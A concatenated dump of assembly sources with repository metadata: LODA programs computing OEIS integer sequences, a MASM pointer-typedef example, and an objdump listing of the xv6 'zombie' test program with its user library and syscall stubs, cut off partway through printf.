; A036716: a(n)=number of Gaussian integers z=a+bi satisfying n-1/2<|z|<=n+1/2, a>=0, 0<=b<=a. ; Submitted by Jamie Morken(w4) ; 1,2,2,3,5,4,6,6,7,9,8,10,9,12,12,11,15,15,15,15,15,19,18,19,19,22,21,21,24,22,26,25,24,27,29,29,29,29,32,30,34,32,34,35,34,37,35,39,39,40,40,41,44,40,43,45,43,48,43,50,48 seq $0,36705 ; Number of Gaussian integers z=a+bi satisfying n - 1/2 < |z| <= n + 1/2. div $0,8 add $0,1
50.75
172
0.633005
e9c9741e809f221e6c841a965bb603b52c013a0d
344
asm
Assembly
PointersAndTypeDef/PointersAndTypeDef/Main.asm
pratik088/AssemblyCodes
35d852392b455190de246e65263b5b9052bad24e
[ "MIT" ]
null
null
null
PointersAndTypeDef/PointersAndTypeDef/Main.asm
pratik088/AssemblyCodes
35d852392b455190de246e65263b5b9052bad24e
[ "MIT" ]
null
null
null
PointersAndTypeDef/PointersAndTypeDef/Main.asm
pratik088/AssemblyCodes
35d852392b455190de246e65263b5b9052bad24e
[ "MIT" ]
null
null
null
.386 .model flat PBYTE TYPEDEF PTR BYTE PWORD TYPEDEF PTR WORD PDWORD TYPEDEF PTR DWORD .data arrayB BYTE 10h,20h,30h arrayW WORD 1,2,3 arrayD DWORD 4,5,6 pt_1 PBYTE arrayB pt_2 PWORD arrayW pt_3 PDWORD arrayD .code start proc mov esi,pt_1 mov al,[esi] mov esi,pt_2 mov ax,[esi] mov esi,pt_3 mov eax,[esi] ret start endp end start
11.862069
24
0.741279
87a68ec98fd5cf4dafc88c7593f2c1840a606286
692
asm
Assembly
programs/oeis/098/A098798.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/098/A098798.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/098/A098798.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A098798: a(n) = Sum_{1<k<n and k not dividing n} floor(n/k). ; 0,0,1,1,4,2,8,5,10,9,17,7,23,17,21,19,34,19,40,24,38,38,52,24,56,49,55,45,73,39,81,56,75,73,83,49,104,86,94,68,118,72,126,92,104,114,140,74,144,114,139,119,165,107,159,119,163,157,189,93,201,171,169,153,200,148,226,174,208,168,242,131,254,218,214,204,252,188,278,182,252,251,295,167,287,267,283,231,323,191,317,267,311,299,327,207,363,296,317,265 mov $4,2 mov $6,$0 lpb $4 sub $0,1 mov $1,0 sub $4,1 lpb $0 mov $7,$0 sub $0,1 add $3,1 add $5,1 dif $7,$5 div $7,$3 add $1,$7 lpe mov $0,$6 mul $1,2 mov $2,$4 mov $3,0 lpb $2 mov $2,0 pow $5,0 lpe lpe div $1,2 mov $0,$1
23.066667
348
0.58815
4d9b14749c5695bcc479382e499c7c940e17b931
1,253
asm
Assembly
programs/oeis/020/A020989.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/020/A020989.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/020/A020989.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A020989: a(n) = (5*4^n - 2)/3. ; 1,6,26,106,426,1706,6826,27306,109226,436906,1747626,6990506,27962026,111848106,447392426,1789569706,7158278826,28633115306,114532461226,458129844906,1832519379626,7330077518506,29320310074026,117281240296106,469124961184426,1876499844737706,7505999378950826,30023997515803306,120095990063213226,480383960252852906,1921535841011411626,7686143364045646506,30744573456182586026,122978293824730344106,491913175298921376426,1967652701195685505706,7870610804782742022826,31482443219130968091306,125929772876523872365226,503719091506095489460906,2014876366024381957843626,8059505464097527831374506,32238021856390111325498026,128952087425560445301992106,515808349702241781207968426,2063233398808967124831873706,8252933595235868499327494826,33011734380943473997309979306,132046937523773895989239917226,528187750095095583956959668906,2112751000380382335827838675626,8451004001521529343311354702506,33804016006086117373245418810026,135216064024344469492981675240106,540864256097377877971926700960426,2163457024389511511887706803841706,8653828097558046047550827215366826,34615312390232184190203308861467306,138461249560928736760813235445869226,553844998243714947043252941783476906 mov $1,4 pow $1,$0 mul $1,5 div $1,3 mov $0,$1
139.222222
1,171
0.916999
f45a49ca560a1767ea8c860657bc31bddf3049f4
56,109
asm
Assembly
zombie.asm
jhsie007/xv6
237fe356270a548f3171bd206771d6b9f29776c4
[ "MIT-0" ]
null
null
null
zombie.asm
jhsie007/xv6
237fe356270a548f3171bd206771d6b9f29776c4
[ "MIT-0" ]
null
null
null
zombie.asm
jhsie007/xv6
237fe356270a548f3171bd206771d6b9f29776c4
[ "MIT-0" ]
null
null
null
_zombie: file format elf32-i386 Disassembly of section .text: 00001000 <main>: #include "stat.h" #include "user.h" int main(void) { 1000: 55 push %ebp 1001: 89 e5 mov %esp,%ebp 1003: 83 e4 f0 and $0xfffffff0,%esp 1006: 83 ec 10 sub $0x10,%esp if(fork() > 0) 1009: e8 76 02 00 00 call 1284 <fork> 100e: 85 c0 test %eax,%eax 1010: 7e 0c jle 101e <main+0x1e> sleep(5); // Let child exit before parent. 1012: c7 04 24 05 00 00 00 movl $0x5,(%esp) 1019: e8 fe 02 00 00 call 131c <sleep> exit(); 101e: e8 69 02 00 00 call 128c <exit> 1023: 90 nop 00001024 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 1024: 55 push %ebp 1025: 89 e5 mov %esp,%ebp 1027: 57 push %edi 1028: 53 push %ebx asm volatile("cld; rep stosb" : 1029: 8b 4d 08 mov 0x8(%ebp),%ecx 102c: 8b 55 10 mov 0x10(%ebp),%edx 102f: 8b 45 0c mov 0xc(%ebp),%eax 1032: 89 cb mov %ecx,%ebx 1034: 89 df mov %ebx,%edi 1036: 89 d1 mov %edx,%ecx 1038: fc cld 1039: f3 aa rep stos %al,%es:(%edi) 103b: 89 ca mov %ecx,%edx 103d: 89 fb mov %edi,%ebx 103f: 89 5d 08 mov %ebx,0x8(%ebp) 1042: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 1045: 5b pop %ebx 1046: 5f pop %edi 1047: 5d pop %ebp 1048: c3 ret 00001049 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1049: 55 push %ebp 104a: 89 e5 mov %esp,%ebp 104c: 83 ec 10 sub $0x10,%esp char *os; os = s; 104f: 8b 45 08 mov 0x8(%ebp),%eax 1052: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 1055: 90 nop 1056: 8b 45 08 mov 0x8(%ebp),%eax 1059: 8d 50 01 lea 0x1(%eax),%edx 105c: 89 55 08 mov %edx,0x8(%ebp) 105f: 8b 55 0c mov 0xc(%ebp),%edx 1062: 8d 4a 01 lea 0x1(%edx),%ecx 1065: 89 4d 0c mov %ecx,0xc(%ebp) 1068: 0f b6 12 movzbl (%edx),%edx 106b: 88 10 mov %dl,(%eax) 106d: 0f b6 00 movzbl (%eax),%eax 1070: 84 c0 test %al,%al 1072: 75 e2 jne 1056 <strcpy+0xd> ; return os; 1074: 8b 45 fc mov -0x4(%ebp),%eax } 1077: c9 leave 1078: c3 ret 00001079 <strcmp>: int strcmp(const char *p, const char *q) { 1079: 55 push %ebp 107a: 89 e5 mov %esp,%ebp while(*p && *p == *q) 107c: eb 08 jmp 1086 <strcmp+0xd> p++, q++; 107e: 83 45 08 01 addl $0x1,0x8(%ebp) 1082: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1086: 8b 45 08 mov 0x8(%ebp),%eax 1089: 0f b6 00 movzbl (%eax),%eax 108c: 84 c0 test %al,%al 108e: 74 10 je 10a0 <strcmp+0x27> 1090: 8b 45 08 mov 0x8(%ebp),%eax 1093: 0f b6 10 movzbl (%eax),%edx 1096: 8b 45 0c mov 0xc(%ebp),%eax 1099: 0f b6 00 movzbl (%eax),%eax 109c: 38 c2 cmp %al,%dl 109e: 74 de je 107e <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 10a0: 8b 45 08 mov 0x8(%ebp),%eax 10a3: 0f b6 00 movzbl (%eax),%eax 10a6: 0f b6 d0 movzbl %al,%edx 10a9: 8b 45 0c mov 0xc(%ebp),%eax 10ac: 0f b6 00 movzbl (%eax),%eax 10af: 0f b6 c0 movzbl %al,%eax 10b2: 29 c2 sub %eax,%edx 10b4: 89 d0 mov %edx,%eax } 10b6: 5d pop %ebp 10b7: c3 ret 000010b8 <strlen>: uint strlen(char *s) { 10b8: 55 push %ebp 10b9: 89 e5 mov %esp,%ebp 10bb: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 10be: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 10c5: eb 04 jmp 10cb <strlen+0x13> 10c7: 83 45 fc 01 addl $0x1,-0x4(%ebp) 10cb: 8b 55 fc mov -0x4(%ebp),%edx 10ce: 8b 45 08 mov 0x8(%ebp),%eax 10d1: 01 d0 add %edx,%eax 10d3: 0f b6 00 movzbl (%eax),%eax 10d6: 84 c0 test %al,%al 10d8: 75 ed jne 10c7 <strlen+0xf> ; return n; 10da: 8b 45 fc mov -0x4(%ebp),%eax } 10dd: c9 leave 10de: c3 ret 000010df <memset>: void* memset(void *dst, int c, uint n) { 10df: 55 push %ebp 10e0: 89 e5 mov %esp,%ebp 10e2: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 10e5: 8b 45 10 mov 0x10(%ebp),%eax 10e8: 89 44 24 08 mov %eax,0x8(%esp) 10ec: 8b 45 0c mov 0xc(%ebp),%eax 10ef: 89 44 24 04 mov %eax,0x4(%esp) 10f3: 8b 45 08 mov 0x8(%ebp),%eax 10f6: 89 04 24 mov %eax,(%esp) 10f9: e8 26 ff ff ff call 1024 <stosb> return dst; 10fe: 8b 45 08 mov 0x8(%ebp),%eax } 1101: c9 leave 1102: c3 ret 00001103 <strchr>: char* strchr(const char *s, char c) { 1103: 55 push %ebp 1104: 89 e5 mov %esp,%ebp 1106: 83 ec 04 sub $0x4,%esp 1109: 8b 45 0c mov 0xc(%ebp),%eax 110c: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 110f: eb 14 jmp 1125 <strchr+0x22> if(*s == c) 1111: 8b 45 08 mov 0x8(%ebp),%eax 1114: 0f b6 00 movzbl (%eax),%eax 1117: 3a 45 fc cmp -0x4(%ebp),%al 111a: 75 05 jne 1121 <strchr+0x1e> return (char*)s; 111c: 8b 45 08 mov 0x8(%ebp),%eax 111f: eb 13 jmp 1134 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 1121: 83 45 08 01 addl $0x1,0x8(%ebp) 1125: 8b 45 08 mov 0x8(%ebp),%eax 1128: 0f b6 00 movzbl (%eax),%eax 112b: 84 c0 test %al,%al 112d: 75 e2 jne 1111 <strchr+0xe> if(*s == c) return (char*)s; return 0; 112f: b8 00 00 00 00 mov $0x0,%eax } 1134: c9 leave 1135: c3 ret 00001136 <gets>: char* gets(char *buf, int max) { 1136: 55 push %ebp 1137: 89 e5 mov %esp,%ebp 1139: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 113c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1143: eb 4c jmp 1191 <gets+0x5b> cc = read(0, &c, 1); 1145: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 114c: 00 114d: 8d 45 ef lea -0x11(%ebp),%eax 1150: 89 44 24 04 mov %eax,0x4(%esp) 1154: c7 04 24 00 00 00 00 movl $0x0,(%esp) 115b: e8 44 01 00 00 call 12a4 <read> 1160: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 1163: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1167: 7f 02 jg 116b <gets+0x35> break; 1169: eb 31 jmp 119c <gets+0x66> buf[i++] = c; 116b: 8b 45 f4 mov -0xc(%ebp),%eax 116e: 8d 50 01 lea 0x1(%eax),%edx 1171: 89 55 f4 mov %edx,-0xc(%ebp) 1174: 89 c2 mov %eax,%edx 1176: 8b 45 08 mov 0x8(%ebp),%eax 1179: 01 c2 add %eax,%edx 117b: 0f b6 45 ef movzbl -0x11(%ebp),%eax 117f: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 1181: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1185: 3c 0a cmp $0xa,%al 1187: 74 13 je 119c <gets+0x66> 1189: 0f b6 45 ef movzbl -0x11(%ebp),%eax 118d: 3c 0d cmp $0xd,%al 118f: 74 0b je 119c <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1191: 8b 45 f4 mov -0xc(%ebp),%eax 1194: 83 c0 01 add $0x1,%eax 1197: 3b 45 0c cmp 0xc(%ebp),%eax 119a: 7c a9 jl 1145 <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 119c: 8b 55 f4 mov -0xc(%ebp),%edx 119f: 8b 45 08 mov 0x8(%ebp),%eax 11a2: 01 d0 add %edx,%eax 11a4: c6 00 00 movb $0x0,(%eax) return buf; 11a7: 8b 45 08 mov 0x8(%ebp),%eax } 11aa: c9 leave 11ab: c3 ret 000011ac <stat>: int stat(char *n, struct stat *st) { 11ac: 55 push %ebp 11ad: 89 e5 mov %esp,%ebp 11af: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 11b2: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 11b9: 00 11ba: 8b 45 08 mov 0x8(%ebp),%eax 11bd: 89 04 24 mov %eax,(%esp) 11c0: e8 07 01 00 00 call 12cc <open> 11c5: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 11c8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 11cc: 79 07 jns 11d5 <stat+0x29> return -1; 11ce: b8 ff ff ff ff mov $0xffffffff,%eax 11d3: eb 23 jmp 11f8 <stat+0x4c> r = fstat(fd, st); 11d5: 8b 45 0c mov 0xc(%ebp),%eax 11d8: 89 44 24 04 mov %eax,0x4(%esp) 11dc: 8b 45 f4 mov -0xc(%ebp),%eax 11df: 89 04 24 mov %eax,(%esp) 11e2: e8 fd 00 00 00 call 12e4 <fstat> 11e7: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 11ea: 8b 45 f4 mov -0xc(%ebp),%eax 11ed: 89 04 24 mov %eax,(%esp) 11f0: e8 bf 00 00 00 call 12b4 <close> return r; 11f5: 8b 45 f0 mov -0x10(%ebp),%eax } 11f8: c9 leave 11f9: c3 ret 000011fa <atoi>: int atoi(const char *s) { 11fa: 55 push %ebp 11fb: 89 e5 mov %esp,%ebp 11fd: 83 ec 10 sub $0x10,%esp int n; n = 0; 1200: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 1207: eb 25 jmp 122e <atoi+0x34> n = n*10 + *s++ - '0'; 1209: 8b 55 fc mov -0x4(%ebp),%edx 120c: 89 d0 mov %edx,%eax 120e: c1 e0 02 shl $0x2,%eax 1211: 01 d0 add %edx,%eax 1213: 01 c0 add %eax,%eax 1215: 89 c1 mov %eax,%ecx 1217: 8b 45 08 mov 0x8(%ebp),%eax 121a: 8d 50 01 lea 0x1(%eax),%edx 121d: 89 55 08 mov %edx,0x8(%ebp) 1220: 0f b6 00 movzbl (%eax),%eax 1223: 0f be c0 movsbl %al,%eax 1226: 01 c8 add %ecx,%eax 1228: 83 e8 30 sub $0x30,%eax 122b: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 122e: 8b 45 08 mov 0x8(%ebp),%eax 1231: 0f b6 00 movzbl (%eax),%eax 1234: 3c 2f cmp $0x2f,%al 1236: 7e 0a jle 1242 <atoi+0x48> 1238: 8b 45 08 mov 0x8(%ebp),%eax 123b: 0f b6 00 movzbl (%eax),%eax 123e: 3c 39 cmp $0x39,%al 1240: 7e c7 jle 1209 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 1242: 8b 45 fc mov -0x4(%ebp),%eax } 1245: c9 leave 1246: c3 ret 00001247 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1247: 55 push %ebp 1248: 89 e5 mov %esp,%ebp 124a: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 124d: 8b 45 08 mov 0x8(%ebp),%eax 1250: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 1253: 8b 45 0c mov 0xc(%ebp),%eax 1256: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 1259: eb 17 jmp 1272 <memmove+0x2b> *dst++ = *src++; 125b: 8b 45 fc mov -0x4(%ebp),%eax 125e: 8d 50 01 lea 0x1(%eax),%edx 1261: 89 55 fc mov %edx,-0x4(%ebp) 1264: 8b 55 f8 mov -0x8(%ebp),%edx 1267: 8d 4a 01 lea 0x1(%edx),%ecx 126a: 89 4d f8 mov %ecx,-0x8(%ebp) 126d: 0f b6 12 movzbl (%edx),%edx 1270: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1272: 8b 45 10 mov 0x10(%ebp),%eax 1275: 8d 50 ff lea -0x1(%eax),%edx 1278: 89 55 10 mov %edx,0x10(%ebp) 127b: 85 c0 test %eax,%eax 127d: 7f dc jg 125b <memmove+0x14> *dst++ = *src++; return vdst; 127f: 8b 45 08 mov 0x8(%ebp),%eax } 1282: c9 leave 1283: c3 ret 00001284 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 1284: b8 01 00 00 00 mov $0x1,%eax 1289: cd 40 int $0x40 128b: c3 ret 0000128c <exit>: SYSCALL(exit) 128c: b8 02 00 00 00 mov $0x2,%eax 1291: cd 40 int $0x40 1293: c3 ret 00001294 <wait>: SYSCALL(wait) 1294: b8 03 00 00 00 mov $0x3,%eax 1299: cd 40 int $0x40 129b: c3 ret 0000129c <pipe>: SYSCALL(pipe) 129c: b8 04 00 00 00 mov $0x4,%eax 12a1: cd 40 int $0x40 12a3: c3 ret 000012a4 <read>: SYSCALL(read) 12a4: b8 05 00 00 00 mov $0x5,%eax 12a9: cd 40 int $0x40 12ab: c3 ret 000012ac <write>: SYSCALL(write) 12ac: b8 10 00 00 00 mov $0x10,%eax 12b1: cd 40 int $0x40 12b3: c3 ret 000012b4 <close>: SYSCALL(close) 12b4: b8 15 00 00 00 mov $0x15,%eax 12b9: cd 40 int $0x40 12bb: c3 ret 000012bc <kill>: SYSCALL(kill) 12bc: b8 06 00 00 00 mov $0x6,%eax 12c1: cd 40 int $0x40 12c3: c3 ret 000012c4 <exec>: SYSCALL(exec) 12c4: b8 07 00 00 00 mov $0x7,%eax 12c9: cd 40 int $0x40 12cb: c3 ret 000012cc <open>: SYSCALL(open) 12cc: b8 0f 00 00 00 mov $0xf,%eax 12d1: cd 40 int $0x40 12d3: c3 ret 000012d4 <mknod>: SYSCALL(mknod) 12d4: b8 11 00 00 00 mov $0x11,%eax 12d9: cd 40 int $0x40 12db: c3 ret 000012dc <unlink>: SYSCALL(unlink) 12dc: b8 12 00 00 00 mov $0x12,%eax 12e1: cd 40 int $0x40 12e3: c3 ret 000012e4 <fstat>: SYSCALL(fstat) 12e4: b8 08 00 00 00 mov $0x8,%eax 12e9: cd 40 int $0x40 12eb: c3 ret 000012ec <link>: SYSCALL(link) 12ec: b8 13 00 00 00 mov $0x13,%eax 12f1: cd 40 int $0x40 12f3: c3 ret 000012f4 <mkdir>: SYSCALL(mkdir) 12f4: b8 14 00 00 00 mov $0x14,%eax 12f9: cd 40 int $0x40 12fb: c3 ret 000012fc <chdir>: SYSCALL(chdir) 12fc: b8 09 00 00 00 mov $0x9,%eax 1301: cd 40 int $0x40 1303: c3 ret 00001304 <dup>: SYSCALL(dup) 1304: b8 0a 00 00 00 mov $0xa,%eax 1309: cd 40 int $0x40 130b: c3 ret 0000130c <getpid>: SYSCALL(getpid) 130c: b8 0b 00 00 00 mov $0xb,%eax 1311: cd 40 int $0x40 1313: c3 ret 00001314 <sbrk>: SYSCALL(sbrk) 1314: b8 0c 00 00 00 mov $0xc,%eax 1319: cd 40 int $0x40 131b: c3 ret 0000131c <sleep>: SYSCALL(sleep) 131c: b8 0d 00 00 00 mov $0xd,%eax 1321: cd 40 int $0x40 1323: c3 ret 00001324 <uptime>: SYSCALL(uptime) 1324: b8 0e 00 00 00 mov $0xe,%eax 1329: cd 40 int $0x40 132b: c3 ret 0000132c <clone>: SYSCALL(clone) 132c: b8 16 00 00 00 mov $0x16,%eax 1331: cd 40 int $0x40 1333: c3 ret 00001334 <texit>: SYSCALL(texit) 1334: b8 17 00 00 00 mov $0x17,%eax 1339: cd 40 int $0x40 133b: c3 ret 0000133c <tsleep>: SYSCALL(tsleep) 133c: b8 18 00 00 00 mov $0x18,%eax 1341: cd 40 int $0x40 1343: c3 ret 00001344 <twakeup>: SYSCALL(twakeup) 1344: b8 19 00 00 00 mov $0x19,%eax 1349: cd 40 int $0x40 134b: c3 ret 0000134c <thread_yield>: SYSCALL(thread_yield) 134c: b8 1a 00 00 00 mov $0x1a,%eax 1351: cd 40 int $0x40 1353: c3 ret 00001354 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 1354: 55 push %ebp 1355: 89 e5 mov %esp,%ebp 1357: 83 ec 18 sub $0x18,%esp 135a: 8b 45 0c mov 0xc(%ebp),%eax 135d: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 1360: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1367: 00 1368: 8d 45 f4 lea -0xc(%ebp),%eax 136b: 89 44 24 04 mov %eax,0x4(%esp) 136f: 8b 45 08 mov 0x8(%ebp),%eax 1372: 89 04 24 mov %eax,(%esp) 1375: e8 32 ff ff ff call 12ac <write> } 137a: c9 leave 137b: c3 ret 0000137c <printint>: static void printint(int fd, int xx, int base, int sgn) { 137c: 55 push %ebp 137d: 89 e5 mov %esp,%ebp 137f: 56 push %esi 1380: 53 push %ebx 1381: 83 ec 30 sub $0x30,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 1384: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 138b: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 138f: 74 17 je 13a8 <printint+0x2c> 1391: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 1395: 79 11 jns 13a8 <printint+0x2c> neg = 1; 1397: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 139e: 8b 45 0c mov 0xc(%ebp),%eax 13a1: f7 d8 neg %eax 13a3: 89 45 ec mov %eax,-0x14(%ebp) 13a6: eb 06 jmp 13ae <printint+0x32> } else { x = xx; 13a8: 8b 45 0c mov 0xc(%ebp),%eax 13ab: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 13ae: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 13b5: 8b 4d f4 mov -0xc(%ebp),%ecx 13b8: 8d 41 01 lea 0x1(%ecx),%eax 13bb: 89 45 f4 mov %eax,-0xc(%ebp) 13be: 8b 5d 10 mov 0x10(%ebp),%ebx 13c1: 8b 45 ec mov -0x14(%ebp),%eax 13c4: ba 00 00 00 00 mov $0x0,%edx 13c9: f7 f3 div %ebx 13cb: 89 d0 mov %edx,%eax 13cd: 0f b6 80 2c 1e 00 00 movzbl 0x1e2c(%eax),%eax 13d4: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 13d8: 8b 75 10 mov 0x10(%ebp),%esi 13db: 8b 45 ec mov -0x14(%ebp),%eax 13de: ba 00 00 00 00 mov $0x0,%edx 13e3: f7 f6 div %esi 13e5: 89 45 ec mov %eax,-0x14(%ebp) 13e8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 13ec: 75 c7 jne 13b5 <printint+0x39> if(neg) 13ee: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 13f2: 74 10 je 1404 <printint+0x88> buf[i++] = '-'; 13f4: 8b 45 f4 mov -0xc(%ebp),%eax 13f7: 8d 50 01 lea 0x1(%eax),%edx 13fa: 89 55 f4 mov %edx,-0xc(%ebp) 13fd: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 1402: eb 1f jmp 1423 <printint+0xa7> 1404: eb 1d jmp 1423 <printint+0xa7> putc(fd, buf[i]); 1406: 8d 55 dc lea -0x24(%ebp),%edx 1409: 8b 45 f4 mov -0xc(%ebp),%eax 140c: 01 d0 add %edx,%eax 140e: 0f b6 00 movzbl (%eax),%eax 1411: 0f be c0 movsbl %al,%eax 1414: 89 44 24 04 mov %eax,0x4(%esp) 1418: 8b 45 08 mov 0x8(%ebp),%eax 141b: 89 04 24 mov %eax,(%esp) 141e: e8 31 ff ff ff call 1354 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 1423: 83 6d f4 01 subl $0x1,-0xc(%ebp) 1427: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 142b: 79 d9 jns 1406 <printint+0x8a> putc(fd, buf[i]); } 142d: 83 c4 30 add $0x30,%esp 1430: 5b pop %ebx 1431: 5e pop %esi 1432: 5d pop %ebp 1433: c3 ret 00001434 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 1434: 55 push %ebp 1435: 89 e5 mov %esp,%ebp 1437: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 143a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 1441: 8d 45 0c lea 0xc(%ebp),%eax 1444: 83 c0 04 add $0x4,%eax 1447: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 144a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 1451: e9 7c 01 00 00 jmp 15d2 <printf+0x19e> c = fmt[i] & 0xff; 1456: 8b 55 0c mov 0xc(%ebp),%edx 1459: 8b 45 f0 mov -0x10(%ebp),%eax 145c: 01 d0 add %edx,%eax 145e: 0f b6 00 movzbl (%eax),%eax 1461: 0f be c0 movsbl %al,%eax 1464: 25 ff 00 00 00 and $0xff,%eax 1469: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 146c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1470: 75 2c jne 149e <printf+0x6a> if(c == '%'){ 1472: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 1476: 75 0c jne 1484 <printf+0x50> state = '%'; 1478: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 147f: e9 4a 01 00 00 jmp 15ce <printf+0x19a> } else { putc(fd, c); 1484: 8b 45 e4 mov -0x1c(%ebp),%eax 1487: 0f be c0 movsbl %al,%eax 148a: 89 44 24 04 mov %eax,0x4(%esp) 148e: 8b 45 08 mov 0x8(%ebp),%eax 1491: 89 04 24 mov %eax,(%esp) 1494: e8 bb fe ff ff call 1354 <putc> 1499: e9 30 01 00 00 jmp 15ce <printf+0x19a> } } else if(state == '%'){ 149e: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 14a2: 0f 85 26 01 00 00 jne 15ce <printf+0x19a> if(c == 'd'){ 14a8: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 14ac: 75 2d jne 14db <printf+0xa7> printint(fd, *ap, 10, 1); 14ae: 8b 45 e8 mov -0x18(%ebp),%eax 14b1: 8b 00 mov (%eax),%eax 14b3: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 14ba: 00 14bb: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 14c2: 00 14c3: 89 44 24 04 mov %eax,0x4(%esp) 14c7: 8b 45 08 mov 0x8(%ebp),%eax 14ca: 89 04 24 mov %eax,(%esp) 14cd: e8 aa fe ff ff call 137c <printint> ap++; 14d2: 83 45 e8 04 addl $0x4,-0x18(%ebp) 14d6: e9 ec 00 00 00 jmp 15c7 <printf+0x193> } else if(c == 'x' || c == 'p'){ 14db: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 14df: 74 06 je 14e7 <printf+0xb3> 14e1: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 14e5: 75 2d jne 1514 <printf+0xe0> printint(fd, *ap, 16, 0); 14e7: 8b 45 e8 mov -0x18(%ebp),%eax 14ea: 8b 00 mov (%eax),%eax 14ec: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 14f3: 00 14f4: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 14fb: 00 14fc: 89 44 24 04 mov %eax,0x4(%esp) 1500: 8b 45 08 mov 0x8(%ebp),%eax 1503: 89 04 24 mov %eax,(%esp) 1506: e8 71 fe ff ff call 137c <printint> ap++; 150b: 83 45 e8 04 addl $0x4,-0x18(%ebp) 150f: 